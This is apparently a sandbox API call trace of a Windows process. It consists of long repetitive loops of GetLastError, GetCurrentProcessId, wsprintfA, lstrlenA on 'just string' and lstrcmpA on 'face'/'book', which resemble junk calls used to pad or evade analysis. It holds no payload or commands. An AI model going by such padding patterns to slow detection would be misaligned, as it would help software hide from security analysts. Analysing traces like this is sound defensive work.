[0032.794] GetLastError () returned 0xb7 [0032.794] GetCurrentProcess () returned 0xffffffff [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17FF7P") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="17FF8P") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1808EP") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] GetCurrentProcessId () returned 0xb44 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetLastError () returned 0xb7 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetLastError () returned 0xb7 [0032.794] lstrlenA (lpString="just string") returned 11 [0032.794] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.794] GetLastError () returned 0xb7 [0032.794] GetLastError () returned 0xb7 [0032.794] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="180DEP") returned 6 [0032.794] SetLastError (dwErrCode=0xb7) [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetLastError () returned 0xb7 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetLastError () returned 0xb7 [0032.795] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18124P") returned 6 [0032.795] SetLastError (dwErrCode=0xb7) [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetLastError () returned 0xb7 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetLastError () returned 0xb7 [0032.795] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1819CP") returned 6 [0032.795] SetLastError (dwErrCode=0xb7) [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetLastError () returned 0xb7 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetCurrentProcess () returned 0xffffffff [0032.795] GetLastError () returned 0xb7 [0032.795] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="181FFP") returned 6 [0032.795] SetLastError (dwErrCode=0xb7) [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetLastError () returned 0xb7 [0032.795] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18200P") returned 6 [0032.795] SetLastError (dwErrCode=0xb7) [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.795] GetLastError () returned 0xb7 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] GetCurrentProcessId () returned 0xb44 [0032.795] lstrlenA (lpString="just string") returned 11 [0032.795] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetCurrentProcess () returned 0xffffffff [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="182D1P") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="182D2P") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetLastError () returned 0xb7 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetCurrentProcess () returned 0xffffffff [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18317P") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18318P") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetCurrentProcess () returned 0xffffffff [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="183ADP") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="183AEP") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] GetCurrentProcessId () returned 0xb44 [0032.796] lstrlenA (lpString="just string") returned 11 [0032.796] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.796] GetLastError () returned 0xb7 [0032.796] GetLastError () returned 0xb7 [0032.796] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="183C2P") returned 6 [0032.796] SetLastError (dwErrCode=0xb7) [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetLastError () returned 0xb7 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetLastError () returned 0xb7 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetLastError () returned 0xb7 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetLastError () returned 0xb7 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetCurrentProcess () returned 0xffffffff [0032.797] GetLastError () returned 0xb7 [0032.797] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18533P") returned 6 [0032.797] SetLastError (dwErrCode=0xb7) [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetLastError () returned 0xb7 [0032.797] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18534P") returned 6 [0032.797] SetLastError (dwErrCode=0xb7) [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetCurrentProcess () returned 0xffffffff [0032.797] GetLastError () returned 0xb7 [0032.797] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1853DP") returned 6 [0032.797] SetLastError (dwErrCode=0xb7) [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetLastError () returned 0xb7 [0032.797] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1853EP") returned 6 [0032.797] SetLastError (dwErrCode=0xb7) [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] GetCurrentProcessId () returned 0xb44 [0032.797] lstrlenA (lpString="just string") returned 11 [0032.797] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.797] GetLastError () returned 0xb7 [0032.797] GetLastError () returned 0xb7 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetCurrentProcess () returned 0xffffffff [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="185C9P") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="185CAP") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetLastError () returned 0xb7 [0032.798] GetCurrentProcess () returned 0xffffffff [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18637P") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18638P") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetLastError () returned 0xb7 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetCurrentProcess () returned 0xffffffff [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="186AFP") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetLastError () returned 0xb7 [0032.798] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="186B0P") returned 6 [0032.798] SetLastError (dwErrCode=0xb7) [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] GetCurrentProcessId () returned 0xb44 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.798] GetLastError () returned 0xb7 [0032.798] lstrlenA (lpString="just string") returned 11 [0032.798] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.798] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1871EP") returned 6 [0032.799] SetLastError (dwErrCode=0xb7) [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="1873CP") returned 6 [0032.799] SetLastError (dwErrCode=0xb7) [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="187A0P") returned 6 [0032.799] SetLastError (dwErrCode=0xb7) [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] GetLastError () returned 0xb7 [0032.799] GetCurrentProcessId () returned 0xb44 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.799] lstrlenA (lpString="just string") returned 11 [0032.799] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.799] GetLastError () returned 0xb7 [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetLastError () returned 0xb7 [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetLastError () returned 0xb7 [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetLastError () returned 0xb7 [0032.800] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18930P") returned 6 [0032.800] SetLastError (dwErrCode=0xb7) [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetLastError () returned 0xb7 [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetCurrentProcess () returned 0xffffffff [0032.800] GetLastError () returned 0xb7 [0032.800] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="189B1P") returned 6 [0032.800] SetLastError (dwErrCode=0xb7) [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetCurrentProcess () returned 0xffffffff [0032.800] GetLastError () returned 0xb7 [0032.800] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="189F7P") returned 6 [0032.800] SetLastError (dwErrCode=0xb7) [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetCurrentProcess () returned 0xffffffff [0032.800] GetLastError () returned 0xb7 [0032.800] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18A29P") returned 6 [0032.800] SetLastError (dwErrCode=0xb7) [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.800] GetLastError () returned 0xb7 [0032.800] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18A34P") returned 6 [0032.800] SetLastError (dwErrCode=0xb7) [0032.800] lstrlenA (lpString="just string") returned 11 [0032.800] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.800] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetCurrentProcess () returned 0xffffffff [0032.801] GetLastError () returned 0xb7 [0032.801] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18A8DP") returned 6 [0032.801] SetLastError (dwErrCode=0xb7) [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18B24P") returned 6 [0032.801] SetLastError (dwErrCode=0xb7) [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18B42P") returned 6 [0032.801] SetLastError (dwErrCode=0xb7) [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] GetLastError () returned 0xb7 [0032.801] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18C1EP") returned 6 [0032.801] SetLastError (dwErrCode=0xb7) [0032.801] lstrlenA (lpString="just string") returned 11 [0032.801] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetCurrentProcess () returned 0xffffffff [0032.802] GetLastError () returned 0xb7 [0032.802] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18C45P") returned 6 [0032.802] SetLastError (dwErrCode=0xb7) [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18CC8P") returned 6 [0032.802] SetLastError (dwErrCode=0xb7) [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetCurrentProcess () returned 0xffffffff [0032.802] GetLastError () returned 0xb7 [0032.802] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18DB7P") returned 6 [0032.802] SetLastError (dwErrCode=0xb7) [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.802] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18E26P") returned 6 [0032.802] SetLastError (dwErrCode=0xb7) [0032.802] lstrlenA (lpString="just string") returned 11 [0032.802] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.802] GetLastError () returned 0xb7 [0032.802] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] GetCurrentProcess () returned 0xffffffff [0032.803] GetLastError () returned 0xb7 [0032.803] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18EBBP") returned 6 [0032.803] SetLastError (dwErrCode=0xb7) [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] GetLastError () returned 0xb7 [0032.803] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18F0CP") returned 6 [0032.803] SetLastError (dwErrCode=0xb7) [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] GetLastError () returned 0xb7 [0032.803] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18F52P") returned 6 [0032.803] SetLastError (dwErrCode=0xb7) [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.803] GetLastError () returned 0xb7 [0032.803] lstrlenA (lpString="just string") returned 11 [0032.803] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.803] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] lstrlenA (lpString="just string") returned 11 [0032.804] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0032.804] GetLastError () returned 0xb7 [0032.804] GetLastError () returned 0xb7 [0032.804] wsprintfA (in: param_1=0x3bfa0b, param_2="%X%P" | out: param_1="18FF2P") returned 6 